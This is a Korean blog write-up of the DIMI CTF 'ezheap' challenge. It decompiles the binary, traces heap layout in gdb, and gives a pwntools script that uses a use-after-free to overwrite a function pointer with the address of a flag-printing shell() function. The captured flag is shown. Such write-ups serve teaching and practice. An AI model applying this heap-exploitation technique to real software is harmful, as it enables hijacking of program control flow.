본문 바로가기
시스템 해킹/CTF

[DIMI CTF] ezheap

by L3m0n S0ju 2021. 3. 26.

118명 중에 7명이 위 문제를 풀었다.

 

 


 

 

문제에서 주어진 파일을 실행하면 다음과 같이 5가지의 선택 메뉴가 출력된다. ghidra 라는 정적 분석 툴을 이용해서 주어진 실행 파일을 분석하겠다.

 

 


 

 

ghidra 도구로 분석한 메인 함수 어셈블리 코드

위 그림은 ghidra로 분석한 메인 함수의 어셈블리 코드다. ghidra의 decompile 기능을 이용해 디컴파일을 시도하면 아래와 같은 코드를 볼 수 있다.

 

 

void main(void)

{
  undefined8 uVar1;
  basic_ostream *this;
  
  inital();
  menu();
  uVar1 = scanInt();
  switch(uVar1) {
  case 0:
    this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"Exit");
    operator<<((basic_ostream<char,std--char_traits<char>> *)this,
               _ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_);
                    /* WARNING: Subroutine does not return */
    exit(1);
  case 1:
    Add_Context();
    break;
  case 2:
    Edit_Context();
    break;
  case 3:
    View_Context();
    break;
  case 4:
    Free_Context();
    break;
  default:
    this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"Wrong...");
    operator<<((basic_ostream<char,std--char_traits<char>> *)this,
               _ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_);
  }
}

 

메인 함수는 간단하다.

 

uVar1 = scanInt();    ->    사용자의 입력 값을 받는다.

 

입력 값에 따라 5가지 아래와 같은 메뉴 중에 하나를 선택한다. 

 

Exit

Add_Context();

Edit_Context();

View_Context();

Free_Context(); 

 


 

아래 코드는 Add_Context(void)는 1을 선택했을때 실행되는 함수이다. 

 

 

 

void Add_Context(void)

 

{

  int iVar1;

  long lVar2;

  basic_ostream *this;

  Context *this_00;

 

  lVar2 = checkIdx_();

  if (lVar2 == -1) {

    this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"Exists idx");

    operator<<((basic_ostream<char,std--char_traits<char>> *)this,

               _ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_);

                    /* WARNING: Subroutine does not return */

    exit(1);

  }

  operator<<<std--char_traits<char>>((basic_ostream *)cout,"size :> ");

  iVar1 = scanInt();

  this_00 = (Context *)operator.new(0x18);

                    /* try { // try from 0040144a to 0040145b has its CatchHandler @ 00401492 */

  Context(this_00,iVar1);

  *(Context **)(context + lVar2 * 8) = this_00;

  setName(*(Context **)(context + lVar2 * 8),"guest");

  return;

}

 

위 코드에서 처음에는 여러 변수를 할당한다. 그리고 checkIdx_() 함수의 리턴 값을 IVar2에 저장한다. checkIdx_() 함수를 살펴보면 아래 코드와 같다.

 


 

 

checkIdx_ 함수는 사용자에게 idx 값을 입력받고 local_10에 저장한다. 저장된 값은 0x11보다 크거나 같으면 -1을 반환하고 함수가 종료된다. 0xffffffffffffffff 가 -1을 의미한다고 볼 수 있다. 다음으로 local_10에 저장된 값이 0x11보다 작다면 한번 더 조건문을 거친다. context는 전역변수인데 전역변수의 특징으로 &을 앞에 안붙여도 자신의 주소 값을 의미한다. 따라서 context의 주소 값에 ( idx * 8 )을 더한 주소 값이 된다. 여기서 중요한 점은 앞에 *가 존재하므로 앞에서 구한 주소 값에 있는 값을 가져와서 0이 아니면 -1을 반환한다.  만약 0이 었다면 처음에 idx에 입력받은 값이 return 된다. 지금까지의 내용을 다시 해석하면 0x11 보다 큰 idx을 입력하면 실패, 0x11 보다 작지만 해당 주소에 0이 아닌 다른 값이 있다면 실패, 즉 Add_Context 함수를 실행하려면 해당 주소 값에 어떠한 다른 값도 있으면 -1(실패)가 반환된다.

 

 


다시 Add_Context를 살펴보겠다.

 

 

void Add_Context(void)

 

{

  int iVar1;

  long lVar2;

  basic_ostream *this;

  Context *this_00;

 

  lVar2 = checkIdx_();

  if (lVar2 == -1) {

    this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"Exists idx");

    operator<<((basic_ostream<char,std--char_traits<char>> *)this,

               _ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_);

                    /* WARNING: Subroutine does not return */

    exit(1);

  }

  operator<<<std--char_traits<char>>((basic_ostream *)cout,"size :> ");

  iVar1 = scanInt();

  this_00 = (Context *)operator.new(0x18);

                    /* try { // try from 0040144a to 0040145b has its CatchHandler @ 00401492 */

  Context(this_00,iVar1);

  *(Context **)(context + lVar2 * 8) = this_00;

  setName(*(Context **)(context + lVar2 * 8),"guest");

  return;

}

 


 

 

이전 checkIdx_ 함수에서 -1이 반환되면 바로 아래 exit(1) 코드에서 종료된다. 다음으로 iVar1 = scanInt();에서 iVar1에 사이즈를 입력받는다.

 

this_00 = (Context *)operator.new(0x18);

 

해당 코드는 this_00 변수에 0x18만큼의 힙 메모리를 할당한다.

 

Context(this_00,iVar1);

 

다음으로 Context라는 클래스 생성한다. 이를 생성자라고 하는데 한번 클래스 안으로 들어가서 자세히 살펴보겠다.

 

 

 


 

void __thiscall Context(Context *this,int param_1)

 

{

  void *pvVar1;

  int local_24;

 

  local_24 = param_1;

  if (param_1 < 0x11) {

    local_24 = 0x10;

  }

  *(long *)(this + 8) = (long)local_24;

  pvVar1 = operator.new[]((long)param_1);

  *(void **)this = pvVar1;

  *(undefined8 *)(this + 0x10) = 0x400e40;

  return;

 


 

int local_24;    ->    local_24에는 입력한 사이즈 값이 저장된다.

 

 

 if (param_1 < 0x11) {    ->    사이즈가 0x11보다 작으면 사이즈는 0x10으로 자동 설정된다.

    local_24 = 0x10;

  }

 

 

 *(long *)(this + 8) = (long)local_24;    ->    Add_Context 함수에서 0x18 만큼 할당받은 this 변수의 주소에 8만큼 더한 주소가 가르키는 값에 사이즈가 저장된다.

 

실제로 위 코드들이 잘 동작하는지 동적 분석 도구 gdb-peda를 이용하여 분석하겠다.

 


 

 *(long *)(this + 8) = (long)local_24; 함수에 브레이크 포인트를 걸고 idx 값은 0, size 값은 16으로 넣어서 실행하였다.

 


 

 

현재  *(long *)(this + 8) = (long)local_24; 코드를 실행하기 바로 직전의 상태이다. 위 그림에서 this 변수가 rdx에 저장되어 있다는 것을 볼 수 있다.

 


 

위에서 확인한 바와 같이 RDX에는 this 변수의 주소 값이 들어있는데 0x615eb0 주소 값이 들어있고 0을 가르킨다.

 


 

$rdx+8의 주소 값으로 가보면 역시나 아직 값이 없다.

 

 


 

gdb에서 ni를 통해 브레이크 포인트 다음 명령어로 넘어가면 위 그림과 같이 $rdx+8 주소에 0x10의 값이 들어있다. 필자가 입력한 사이즈 16의 값이다.

 


생성자의 코드를 다시 살펴보겠다.

 

 

void __thiscall Context(Context *this,int param_1)

 

{

  void *pvVar1;

  int local_24;

 

  local_24 = param_1;

  if (param_1 < 0x11) {

    local_24 = 0x10;

  }

  *(long *)(this + 8) = (long)local_24;

  pvVar1 = operator.new[]((long)param_1);

  *(void **)this = pvVar1;

  *(undefined8 *)(this + 0x10) = 0x400e40;

  return;

 


pvVar1 = operator.new[]((long)param_1);    ->    입력한 사이즈 값 만큼 힙 메모리를 할당한다.

 

*(void **)this = pvVar1;    ->    this 변수에 pvVar1 주소 값을 저장한다, 즉 0x615eb0 주소에 pvVar1의 주소 값을 저장한다.

 

 *(undefined8 *)(this + 0x10) = 0x400e40;    ->    0x615eb0 + 0x10 은 0x615ec0에 0x400e40이 저장된다.

 


gdb-peda로 확인하겠다. idx=0, size=16 이전과 동일하다. 아래는 *(undefined8 *)(this + 0x10) = 0x400e40; 실행 후의 메모리 상태이다.

 

Add_Context 함수에서 24 바이트만큼의 크기를 할당받은 this 변수의 주소값 0x615eb0를 살펴보면 this 에는 615ed0이라는 pvVar1 변수의 주소 값이 담겨있다. 해당 주소로 이동하면 현재 할당된 16바이트는 0으로 설정되어 있다. 마지막으로 this에 0x10을 더한 615ec0에는 400e40이라는 주소가 저장되어 있다.

 

 


 

또 다시 Add_Context를 살펴보겠다.

 

 


 *(Context **)(context + lVar2 * 8) = this_00;    ->    전역변수 context의 주소 값에 (idx * 8) 만큼 더한 주소에 this 변수의 주소를 저장한다. 이전에도 설명했지만 전역변수는 앞에 &을 붙이지 않아도 자신의 주소 값을 나타낸다.

 

다음으로 setName(*(Context **)(context + lVar2 * 8),"guest");에 대해서 알아보겠다.


long __thiscall setName(Context *this,char *param_1)

{
  int iVar1;
  
  iVar1 = memcpy(*(char **)this,param_1,(long_long)*(undefined8 *)(this + 8));
  return (long)iVar1;
}

 

 

첫 번째 인자에 두 번째 인자를 복사하는 명령어이다.

 

위에서 첫 번째 인자를 (context + IVar2 * 8), 두 번째 인자를 'guest'로 주었으므로 context + IVar2 * 8 의 위치에 guest라는 문자열이 저장되는데 *(this+8) 만큼 저장한다. *(this+8)에는 이전에 설정한 사이즈 값이 들어있으므로 사용자가 설정한 사이즈 만큼의 문자열을 생성한 this 클래스에 저장한다. 따라서 idx=0, size=16으로 설정한 경우 아래 그림의 빨간 박스안에 guest 문자열이 삽입된다.

 

 


실제로 아래 그림과 같이 guest 문자열이 삽입된 것을 확인하였다.

 

 


Add_Context 다음으로 Edit_Context 함수를 살펴보겠다.

 

 

 

undefined8 Edit_Context(void)

 

{

  long_long lVar1;

  long lVar2;

  basic_ostream *this;

  long lVar3;

  char *pcVar4;

 

  lVar2 = checkIdx();

  if (lVar2 == -1) {

    this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"No idx");

    operator<<((basic_ostream<char,std--char_traits<char>> *)this,

               _ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_);

                    /* WARNING: Subroutine does not return */

    exit(1);

  }

  lVar3 = getSize(*(Context **)(context + lVar2 * 8));

  pcVar4 = (char *)operator.new[](lVar3 + 1);

  operator<<<std--char_traits<char>>((basic_ostream *)cout,"Your name :> ");

  lVar1 = getSize(*(Context **)(context + lVar2 * 8));

  scan(pcVar4,lVar1);

  setName(*(Context **)(context + lVar2 * 8),pcVar4);

  if (pcVar4 != (char *)0x0) {

    operator.delete[](pcVar4);

  }

  return 1;

}

 


 

 lVar2 = checkIdx();

  if (lVar2 == -1) {

    this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"No idx");

    operator<<((basic_ostream<char,std--char_traits<char>> *)this,

               _ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_);

                    /* WARNING: Subroutine does not return */

    exit(1);

  }    ->    Add_Context 함수와 같이 idx를 설정하고 오류가 날 경우 종료한다.

 

 

  lVar3 = getSize(*(Context **)(context + lVar2 * 8));    ->    context에 (IVar2 * 8) 을 더한 주소가 가리키는 값이 getSize 함수의 인자로 들어간다. 앞에서 Add_Context 함수로 idx=0, size=16을 설정했다고 가정하면 아래와 같이 context는 0x603330이고 IVar2=0 이므로 0x603330이 가르키는 주소, *615eb0가 getSize의 인자로 들어간다.

 


getSize 함수는 아래와 같이 (인자값+8)의 주소가 가르키는 값이므로 615eb0 + 8 = 615eb8이 가르키는 값을 찾으면 된다.

 

undefined8 __thiscall getSize(Context *this)

{
  return *(undefined8 *)(this + 8);
}

 

0x615eb8에는 위 그림과 같이 0x10이라는 값이 저장되어 있다. Add_Context 함수에서 설정한 size=16의 값이다.

 


계속해서 Edit_Context를 살펴보겠다.

 

undefined8 Edit_Context(void)

 

{

  long_long lVar1;

  long lVar2;

  basic_ostream *this;

  long lVar3;

  char *pcVar4;

 

  lVar2 = checkIdx();

  if (lVar2 == -1) {

    this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"No idx");

    operator<<((basic_ostream<char,std--char_traits<char>> *)this,

               _ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_);

                    /* WARNING: Subroutine does not return */

    exit(1);

  }

  lVar3 = getSize(*(Context **)(context + lVar2 * 8));

  pcVar4 = (char *)operator.new[](lVar3 + 1);

  operator<<<std--char_traits<char>>((basic_ostream *)cout,"Your name :> ");

  lVar1 = getSize(*(Context **)(context + lVar2 * 8));

  scan(pcVar4,lVar1);

  setName(*(Context **)(context + lVar2 * 8),pcVar4);

  if (pcVar4 != (char *)0x0) {

    operator.delete[](pcVar4);

  }

  return 1;

}

 


  lVar3 = getSize(*(Context **)(context + lVar2 * 8));

  pcVar4 = (char *)operator.new[](lVar3 + 1);    ->    위 함수에서 반환한 사이즈 값+1 만큼의 공간을 pcVar4라는 변수에 할당한다.

 

 

operator<<<std--char_traits<char>>((basic_ostream *)cout,"Your name :> ");    ->    Your name :> 이라는 문자열 출력

 

 

 lVar1 = getSize(*(Context **)(context + lVar2 * 8));

  scan(pcVar4,lVar1);    ->    사이즈 값만큼 pcVar4 변수에 사용자 입력을 읽어들인다.

 

 

 

 setName(*(Context **)(context + lVar2 * 8),pcVar4);    ->    사이즈 만큼 pcVar4의 문자열을 (context + IVar2 * 8)에 저장한다.

 

if (pcVar4 != (char *)0x0) {

    operator.delete[](pcVar4);

  }    ->    pcVar4 변수에 할당했던 힙 메모리를 반환한다.

 

 

Edit_Context 함수의 내용을 요약하면 사용자에게 idx, size 값을 입력받고 입력한 새로운 이름을 이전에 Add_Context에서 입력한 guest 문자열을 저장했던 주소에 저장한다.

 


다음으로 View_Context 함수를 살펴보겠다.

 

undefined8 View_Context(void)

 

{

  long lVar1;

  basic_ostream *this;

 

  lVar1 = checkIdx();

  if (lVar1 == -1) {

    this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"No idx");

    operator<<((basic_ostream<char,std--char_traits<char>> *)this,

               _ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_);

                    /* WARNING: Subroutine does not return */

    exit(1);

  }

  callFunc(*(Context **)(context + lVar1 * 8));

  return 1;

}

 


 lVar1 = checkIdx();

  if (lVar1 == -1) {

    this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"No idx");

    operator<<((basic_ostream<char,std--char_traits<char>> *)this,

               _ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_);

                    /* WARNING: Subroutine does not return */

    exit(1);    ->    idx를 입력받는다.

 

 

 callFunc(*(Context **)(context + lVar1 * 8));    ->    callFunc 함수를 불러온다.

 


아래 코드는 callFunc 함수이다.

 

 

void __thiscall callFunc(Context *this)

 

{

  (**(code **)(this + 0x10))(*(undefined8 *)this);

  return;

}

 

 

위에서 idx=0을 입력한다면 callFunc 함수의 인자로 *context, 즉 615eb0이 인자로 들어간다.

 


(**(code **)(this + 0x10))(*(undefined8 *)this);    ->    **(this + 0x10)은 함수 포인터이다. *(this + 0x10)은 아래 그림과 같이 400e40이다. 400e40이 가르키는 값은 print 함수이다, 즉 print 함수에 *this라는 파라미터를 주는데 *this는 0x615ed0 으로 문자열이 저장된 공간이다.

 

 

요약하자면 View_Context 함수는 이전에 저장된 문자열을 출력한다.

 


 

다음으로 Free_Context 함수를 살펴보겠다.

 

 

undefined8 Free_Context(void)

 

{

  Context *this;

  long lVar1;

  basic_ostream *this_00;

 

  lVar1 = checkIdx();

  if (lVar1 == -1) {

    this_00 = operator<<<std--char_traits<char>>((basic_ostream *)cout,"No idx");

    operator<<((basic_ostream<char,std--char_traits<char>> *)this_00,

               _ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_);

                    /* WARNING: Subroutine does not return */

    exit(1);

  }

  this = *(Context **)(context + lVar1 * 8);

  if (this != (Context *)0x0) {

    ~Context(this);

    operator.delete(this);

  }

  return 1;

}

 


 lVar1 = checkIdx();

  if (lVar1 == -1) {

    this_00 = operator<<<std--char_traits<char>>((basic_ostream *)cout,"No idx");

    operator<<((basic_ostream<char,std--char_traits<char>> *)this_00,

               _ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_);

                    /* WARNING: Subroutine does not return */

    exit(1);

  }    ->    idx를 입력받고 오류가 나면 종료된다.

 

 

 

this = *(Context **)(context + lVar1 * 8);    ->    *(context + IVar1 * 8)을 this에 저장한다.

 

 

 

  if (this != (Context *)0x0) {

    ~Context(this);

    operator.delete(this);

  }    ->    this 변수에 0이 들어있다면 아직 Add_Context 함수를 실행하지 않은 것이므로 조건문을 뛰어넘는다. 만약 0이 아닌 다른 값이 들어있다면 ~Context 소멸자를 이용해 해당 내용을 삭제한다.

 

Add_Context 함수에 idx=0, size=16을 이용해 생성자를 생성하였다고 가정하였을 때 Free_Context에서 this는 615eb0이다.


 

아래 코드는 ~Context 소멸자이다.

 

void __thiscall ~Context(Context *this)

 

{

  if (*(void **)this != (void *)0x0) {

    operator.delete[](*(void **)this);

  }

  return;

}

 

위에서 입력받은 615eb0가 가르키는 값 즉, 615ed0에 0이 아닌 다른 값이 있으면 해당 공간을 반환한다.

 

 

위 그림과 같이 615ed0의 값이 초기화되었다.


  if (this != (Context *)0x0) {

    ~Context(this);

    operator.delete(this);

  }

 

마지막 함수 operator.delete(this); 는 this를 반환한다. 위에서 말했듯이 this는 615be0이다. 하지만 밑에 그림을 보면 615be0 값이 지워지지 않은 것을 볼 수 있는데 이는 지워졌다가 다른 이유로 인해 다시 삽입이 된 경우이다. size를 16이 아닌 24, 32, 48 등 다른 값을 넣으면 지워지는 것을 확인할 수 있다.

 

 


 

이제 플래그를 획득하기 위해서 설계를 시작하겠다.

 

00400d60라는 주소에 가면 shell 이라는 함수가 있다.

 

undefined8 shell(void)

 

{

  system("/bin/cat /flag");

  return 1;

}

 

shell 함수는 flag 값을 출력하는 함수이다. 아래 그림과 같이 615ec0에서 400e40이라는 print 함수를 불러오는데 이곳에 shell 함수의 주소 값을 덮어씌어 플래그를 획득할 것이다.

 


이전에 힙 메모리의 특성을 알아야한다. 힙 메모리는 0x10의 단위로 주어진다. 그리고 요청한 사이즈에 8만큼의 여분을 준다. 예를 들어 25만큼의 힙 메모리 할당을 요청하면 힙 메모리는 25+8=33 , 33은 16 진수로 표현하면 0x21로 2개의 0x10보다 1이 크다. 따라서 힙 메모리는 0x30이라는 십진수로 48 바이트 만큼의 공간을 할당한다.

 

문제의 힌트처럼 Use After Free을 사용하기 위해서 힙 메모리의 단위가 중요하다. 힙 메모리는 0x10의 단위로 최근에 반환된 공간을 다시 재사용하는 특성이 있다. 중요한 점은 메모리 단위의 크기가 맞아야 공간을 할당한다는 점인데 예를 들면 32만큼의 공간을 반환하고 48만큼의 공간을 반환했다고 가정하면 32만큼의 공간을 다시 메모리에 요청하면 가장 최근에 반환된 48의 공간을 주어야하지만 단위의 크기가 맞지 않다. 따라서 단위 크기가 같은 32만큼의 공간을 할당한다.

 

현재 해당 프로그램에서는 힙 메모리에 저장하는 경우는 두 가지이다. 처음 Add_Context에서 idx를 이용해 24바이트 만큼의 공간을 할당하고 문자열이 저장되는 입력된 size 만큼의 공간이다. 첫 번째 공간을 x, 두 번째 공간을 y라고 가정하자. 덮어씌워야 할 공간은 x에 있으므로 공간 x를 재할당 받아야한다.

 

 


 

#!/usr/bin/python

 

import socket

from pwn import*

 

def main():

    add0="1\n0\n48\n"

    add1="1\n1\n48\n"

   

    free0="4\n0\n"

    free1="4\n1\n"

   

    add2="1\n2\n24\n"

    edit="2\n2\n"+"AAAAAAAAAAAAAAAA"+p64(0x400d60)[0:6].decode()+"\n"

   

    view="3\n0\n"

   

    payload=add0+add1+free0+free1+add2+edit+view

    payload=payload.encode()

   

    socket=remote("192.168.211.135",15039)

    socket.send(payload)

   

    while 1:

        print(socket.recv(1024).decode())

 

if __name__=="__main__":

    main()

 


위 코드는 플래그를 획득하기 위해 작성한 코드이다.

 

add0="1\n0\n48\n"    ->    Add_Context에서 idx=0, size=48로 첫 번째 클래스를 생성한다.

add1="1\n1\n48\n"    ->    두 번째 클래스를 생성한다.

 

free0="4\n0\n"    ->    첫 번째 클래스를 반환한다.

free1="4\n1\n"    ->    첫 번째 클래스를 반환한다.

 

 

위 그림은 지금까지의 상황이다. 0x615eb0에 첫 번째 클래스가 0x615ed0에 문자열이 제거된 것을 볼 수있다. 사이즈를 48로 요청했으므로 힙 메모리의 특성으로 8의 여유값을 주소 0x10단위로 메모리를 할당하면 4줄이 주어진다. 첫 번째 클래스의 문자열에 할당된 4줄 바로 다음에 두 번째 클래스가 0x615f10에 문자열의 주소 0x615f30 이라는 값이 저장되었다가 Free_Context 함수로 해당 주소에 값이 사라졌다가 다른 값으로 변경되었다.

 

현재까지의 상황을 요약하면 힙 메모리의 특성을 생각해서 첫 번째 클래스에 32바이트, 첫 번째 문자열에 64바이트, 두 번째 클래스에 32바이트, 두 번째 문자열에 64바이트가 할당되었다가 모두 반환하였다. 크기별로 가장 최근에 반환된 값은 32바이트에서는 두 번째 클래스, 64바이트에서는 두 번째 클래스의 문자열이다. 접근해야 할 곳은 첫 번째 클래스 또는 두 번째 클래스의 400e40이 저장된 곳이다. 만약 세 번째 클래스를 생성한다면 클래스의 크기는 모두 같으므로 가장 최근에 반환된 두 번째 클래스 자리에 저장된다. 세 번째 클래스의 문자열을 400e40 주변으로 가기 위해서는 첫 번째 클래스의 32바이트 자리를 차지해야 한다. 따라서 세 번째 클래스에서 문자열 사이즈를 24크기의 사이즈를 입력하면 24+8=32, 즉 32바이트의 공간을 할당받아 첫 번째 클래스의 위치 0x615eb0에서부터 32바이트 만큼의 공간을 할당받는다.

 

 add2="1\n2\n24\n"    ->    idx=2, size=24로 세 번째 클래스를 생성한다.

 

현재 세 번째 클래스의 문자열 'guest'가 0x615eb0에 저장된 것을 볼 수 있다.


edit="2\n2\n"+"AAAAAAAAAAAAAAAA"+p64(0x400d60)[0:6].decode()+"\n"    ->    0x615eb0에 저장된 문자열을 수정하는데 A를 16바이트 만큼 주고 뒤에 0x400d60 주소 값을 넣는다. 이전에 말했듯이 0x400d60 주소에는 아래와 같은 함수가 위치한다.

 

undefined8 shell(void)

 

{

  system("/bin/cat /flag");

  return 1;

}

 


 

 

view="3\n0\n"    ->    View_Context로 세 번째 문자열에 저장된 주소를 불러온다. 원래는 print 함수였지만 현재는 shell 함수로 바뀌어 플래그를 출력하는 함수로 변경되었다.

 

 

 

 payload=add0+add1+free0+free1+add2+edit+view

    payload=payload.encode()

   

    socket=remote("192.168.211.135",15039)

    socket.send(payload)

   

    while 1:

        print(socket.recv(1024).decode())

 

if __name__=="__main__":

    main()

 

나머지 코드는 입력할 문자열들을 합쳐서 서버로 전송하여 출력 값을 읽어들인다.

 


아래 출력은 Anaconda Jupter notebook 에서 공격 코드를 실행한 결과이다.

 

 

[x] Opening connection to 192.168.211.135 on port 15039

[x] Opening connection to 192.168.211.135 on port 15039: Trying 192.168.211.135

[+] Opening connection to 192.168.211.135 on port 15039: Done

+---------------------+

| 1. Add Context |

| 2. Edit Context |

| 3. View Context |

| 4. Free Context |

| 0. Exit Program |

+---------------------+

:> idx :> size :> +---------------------+

| 1. Add Context |

| 2. Edit Context |

| 3. View Context |

| 4. Free Context |

| 0. Exit Program |

+---------------------+

:> idx :> size :> +---------------------+

| 1. Add Context |

| 2. Edit Context |

| 3. View Context |

| 4. Free Context |

| 0. Exit Program |

+---------------------+

:> idx :> +---------------------+

| 1. Add Context |

| 2. Edit Context |

| 3. View Context |

| 4. Free Context |

| 0. Exit Program |

+---------------------+

:> idx :> +---------------------+

| 1. Add Context |

| 2. Edit Context |

| 3. View Context |

| 4. Free Context |

| 0. Exit Program |

+---------------------+

:> idx :> size :> +---------------------+

| 1. Add Context |

| 2. Edit Context |

| 3. View Context |

| 4. Free Context |

| 0. Exit P rogram | +---------------------+

:> idx :> Your name :> +---------------------+

| 1. Add Context |

| 2. Edit Context |

| 3. View Context |

| 4. Free Context |

| 0. Exit Program | +---------------------+

:> idx :> DIMI{Fr3e_c+p_cl4s5_g3t_class!}

+---------------------+

| 1. Add Context |

| 2. Edit Context |

| 3. View Context |

| 4. Free Context |

| 0. Exit Program |

+---------------------+

 

:>

 


플래그: DIMI{Fr3e_c+p_cl4s5_g3t_class!}

'시스템 해킹 > CTF' 카테고리의 다른 글

보호기법 정리  (0) 2021.08.20
[Nebula] Level 03  (0) 2021.08.19
[Nebula] Level 02  (0) 2021.08.19
[Nebula] Level 01  (0) 2021.08.11
[Nebula] Level 00  (0) 2021.08.11

댓글